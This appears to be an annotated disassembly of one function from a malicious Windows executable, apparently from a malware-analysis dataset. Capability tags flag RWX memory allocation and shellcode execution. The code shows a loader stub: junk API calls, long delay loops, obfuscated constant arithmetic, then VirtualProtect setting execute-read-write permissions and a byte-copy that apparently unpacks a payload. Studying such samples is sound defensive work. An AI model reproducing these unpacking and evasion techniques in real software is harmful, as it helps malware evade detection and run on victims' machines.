Function at 0x4038f0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get disk information

Disassembly:
mov edx, 0x43ad98
sub edx, ecx
mov al, byte [ecx]
mov byte [edx + ecx], al
inc ecx
test al, al
jne 0x4038d7
ret
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4346cb
push eax
mov eax, 0x2920
mov dword fs:[0], esp
call fcn.004100d0
cmp dword [0x2ae563c], 0x6a6
push ebx
push esi
push edi
jne 0x403996
call dword [sym.imp.USER32.dll_CountClipboardFormats]
mov eax, dword [ebp - 0x18]
push eax
xor esi, esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_SetScrollInfo]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push esi
push 0x402dcf
push 0x43ad98
call fcn.00406692
add esp, 0xc
jmp 0x4038d0
mov edi, dword [sym.imp.GDI32.dll_GetGlyphIndicesW]
xor esi, esi
mov edi, edi
cmp esi, 0x98ec
jge 0x4039b4
push 0
push 0
push 0
push 0
push 0
call edi
inc esi
cmp esi, 0x11aba
jl 0x4039a0
mov eax, 0x11b1b
add dword [0x2ae563c], eax
call fcn.004038a0
mov eax, dword [0x2ae563c]
mov ecx, dword [0x2ae2548]
lea edx, [ebp - 0x14]
push edx
push 0x40
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor esi, esi
cmp dword [0x2ae563c], esi
jbe 0x403a33
mov edi, dword [sym.imp.KERNEL32.dll_WritePrivateProfileSectionW]
jmp 0x403a00
mov edx, dword [0x2ae5fdc]
mov al, byte [edx + esi + 0x11b1b]
mov ecx, dword [0x2ae2548]
mov byte [ecx + esi], al
cmp dword [0x2ae563c], 0xa8
jne 0x403a2a
push 0
push 0
push 0
call edi
inc esi
cmp esi, dword [0x2ae563c]
jb 0x403a00
mov esi, dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
mov edi, dword [sym.imp.USER32.dll_MessageBoxIndirectA]
mov ebx, dword [sym.imp.USER32.dll_LoadMenuA]
xor eax, eax
mov dword [ebp - 0x10], eax
mov edx, dword [0x2ae563c]
add edx, eax
cmp edx, 0xe
jne 0x403af1
push 0x30
lea eax, [ebp - 0xd8]
push 0
push eax
mov dword [ebp - 0xdc], 0
call fcn.0040ac80
add esp, 0xc
push 0
lea ecx, [ebp - 0xdc]
push ecx
push 0x402e40
call esi
push 0
call edi
push 0
push 0
call ebx
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_InvalidateRgn]
push 0
lea edx, [ebp - 0x1128]
push edx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LCMapStringW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
push 0
push 0x402ec4
lea eax, [ebp - 0x528]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
push 0
lea ecx, [ebp - 0x1d28]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov eax, dword [ebp - 0x10]
inc eax
cmp eax, 0x4f95a3
mov dword [ebp - 0x10], eax
jl 0x403a4a
mov edi, dword [sym.imp.USER32.dll_GetMenuInfo]
mov esi, 0x4f4
jmp 0x403b10
push 0
push 0
call edi
sub esi, 1
jne 0x403b10
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
push 0
call edi
cmp esi, 0x26c0e8
jge 0x403ea6
mov dword [ebp - 0x5c], 0x117e6468
mov dword [ebp - 0x44], 0x5ffc7842
mov dword [ebp - 0xa4], 0x47a693b8
mov dword [ebp - 0x3c], 0x2968d501
mov dword [ebp - 0x7c], 0x3b97d7ad
mov dword [ebp - 0x88], 0x1cdbd5a0
mov dword [ebp - 0x70], 0x48332d38
mov dword [ebp - 0x6c], 0x440c2a2d
mov dword [ebp - 0x34], 0x12e9fd10
mov dword [ebp - 0x98], 0xf744b0e
mov dword [ebp - 0x4c], 0xa9960a7
mov dword [ebp - 0x28], 0x2f799e6c
mov dword [ebp - 0x40], 0x7847afe5
mov dword [ebp - 0xa0], 0x4e4c16e5
mov dword [ebp - 0x78], 0x4b60bfcf
mov dword [ebp - 0x74], 0x11cf24ee
mov dword [ebp - 0x94], 0x100b136a
mov dword [ebp - 0x80], 0x16a8c798
mov dword [ebp - 0x30], 0x41990087
mov dword [ebp - 0x1c], 0x1a8d2583
mov dword [ebp - 0x50], 0x4be5576
mov dword [ebp - 0x38], 0x20b6f116
mov dword [ebp - 0x84], 0x1a4811b8
mov dword [ebp - 0x60], 0x48322249
mov dword [ebp - 0x58], 0x1cbc86b9
mov dword [ebp - 0x90], 0x197f1790
mov dword [ebp - 0x64], 0x349917ff
mov dword [ebp - 0x20], 0x5038bf9
mov dword [ebp - 0x18], 0x15607940
mov dword [ebp - 0x54], 0x4350bc8e
mov dword [ebp - 0xa8], 0x17fe5556
mov dword [ebp - 0x10], 0x642ba827
mov dword [ebp - 0x8c], 0x43e7302b
mov dword [ebp - 0x68], 0x2e87bca9
mov dword [ebp - 0x2c], 0x5ac3e20
mov dword [ebp - 0x48], 0x45663a5
mov dword [ebp - 0x24], 0x4f04dee8
mov dword [ebp - 0x9c], 0x4de238b9
mov eax, 0x7b98fd8e
mul dword [ebp - 0x5c]
mov eax, dword [ebp - 0x5c]
sub dword [ebp - 0xa4], 0x6558cd47
add dword [ebp - 0xa4], 0x694ee64c
add dword [ebp - 0x44], 0x737efafa
mov eax, 0x699f0bc7
mul dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, 0x7083fff5
mul dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
add dword [ebp - 0x3c], 0x3f105651
mov eax, 0x58bdf4a2
mul dword [ebp - 0x7c]
mov eax, dword [ebp - 0x7c]
mov eax, 0x1496ce22
mul dword [ebp - 0xa4]
mov eax, dword [ebp - 0xa4]
sub dword [ebp - 0xa4], 0x35556f81
mov eax, 0x41c2f159
mul dword [ebp - 0xa4]
mov eax, dword [ebp - 0xa4]
mov eax, 0x3ea4b095
mul dword [ebp - 0xa4]
mov eax, dword [ebp - 0xa4]
sub dword [ebp - 0x44], 0x5f1bc896
mov eax, 0x63fcad3b
mul dword [ebp - 0x70]
mov eax, dword [ebp - 0x70]
sub dword [ebp - 0x70], 0x6c0a8592
add dword [ebp - 0x5c], 0x52d9bd7
mov eax, 0x5362c5c9
mul dword [ebp - 0x70]
mov eax, dword [ebp - 0x70]
add dword [ebp - 0x88], 0x74d4a7ac
sub dword [ebp - 0x70], 0x6b9ab333
sub dword [ebp - 0x4c], 0x30cec4cc
sub dword [ebp - 0x70], 0x6f4dc03f
sub dword [ebp - 0x7c], 0x406511de
sub dword [ebp - 0x4c], 0x5256efce
add dword [ebp - 0x28], 0x9d24a82
add dword [ebp - 0x28], 0xb55bf10
mov eax, 0x6fadc23
mul dword [ebp - 0x5c]
mov eax, dword [ebp - 0x5c]
sub dword [ebp - 0x28], 0x2107bccb
mov eax, 0x43a1127f
mul dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
add dword [ebp - 0x98], 0x23f95553
mov eax, 0xfa50777
mul dword [ebp - 0x70]
mov eax, dword [ebp - 0x70]
mov eax, 0x982e1f9
mul dword [ebp - 0xa4]
mov eax, dword [ebp - 0xa4]
add dword [ebp - 0x44], 0x6ff007ed
sub dword [ebp - 0xa0], 0x2ca9ae19
add dword [ebp - 0xa4], 0x2e67b4f9
add dword [ebp - 0x98], 0x1ae532f6
add dword [ebp - 0x4c], 0x1b1cddec
add dword [ebp - 0x78], 0x1843194b
sub dword [ebp - 0x98], 0x4d0fd6ca
add dword [ebp - 0x30], 0x4c19438c
add dword [ebp - 0x88], 0x7555adb0
add dword [ebp - 0x50], 0x6e7262a2
mov eax, 0x226d3295
mul dword [ebp - 0x88]
mov eax, dword [ebp - 0x88]
add dword [ebp - 0x60], 0x7d1e9162
mov eax, 0x27578fe4
mul dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, 0x2f90f5f3
mul dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
sub dword [ebp - 0x80], 0x6b09171
sub dword [ebp - 0x28], 0x6c846b8d
sub dword [ebp - 0xa0], 0x2e2cab03
add dword [ebp - 0x58], 0x19526782
add dword [ebp - 0x38], 0x2cd8acc0
sub dword [ebp - 0xa8], 0x47be2084
add dword [ebp - 0x1c], 0x6e73a756
sub dword [ebp - 0x4c], 0x4243819d
mov eax, 0x6583975
mul dword [ebp - 0x64]
mov eax, dword [ebp - 0x64]
add dword [ebp - 0x10], 0x1465568b
mov eax, 0x3df9edd8
mul dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
add dword [ebp - 0x64], 0x44e853d4
sub dword [ebp - 0x90], 0x702bf432
mov eax, 0x61576f3a
mul dword [ebp - 0x88]
mov eax, dword [ebp - 0x88]
sub dword [ebp - 0x70], 0x3dac3a17
sub dword [ebp - 0x7c], 0x4f1fdc5c
mov eax, 0x76077062
mul dword [ebp - 0x70]
mov eax, dword [ebp - 0x70]
cmp esi, 0x2735c9
jg 0x403ebb
inc esi
cmp esi, 0x15a24e60
jl 0x403b21
call fcn.00403830
xor edx, edx
cmp edx, 0x26
jne 0x403ecc
call fcn.00403880
inc edx
cmp edx, 0x409495
jl 0x403ec2
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_CallNamedPipeA]
mov ebx, dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
mov dword [ebp - 0x10], 0x7b
mov edi, edi
cmp dword [0x2ae563c], 0x86
jne 0x403f1e
push 0x402f04
call esi
push 0
lea edx, [ebp - 0x18]
push edx
push 0
lea eax, [ebp - 0x528]
push eax
push 0
push 0
push 0
call edi
push 0
call ebx
sub dword [ebp - 0x10], 1
jne 0x403ef0
mov esi, dword [sym.imp.KERNEL32.dll_WriteConsoleA]
mov edi, dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [ebp - 0x10], 0x180ef
lea ecx, [ecx]
cmp dword [0x2ae563c], 0x1f
jne 0x403fb7
push 0
lea ecx, [ebp - 0x1c]
push ecx
push 0
push 0
push 0
call esi
push 0
push 0
call edi
push 0
push 0
lea edx, [ebp - 0x1528]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
lea eax, [ebp - 0x124]
push eax
push 0
call ebx
push 0
lea ecx, [ebp - 0x928]
push ecx
push 0x402f2c
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointA]
push 0
push 0
lea edx, [ebp - 0x2928]
push edx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
push 0
lea eax, [ebp - 0x2128]
push eax
push 0
call dword [sym.imp.KERNEL32.dll__hread]
sub dword [ebp - 0x10], 1
jne 0x403f40
call fcn.00403580
call fcn.004038c0
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret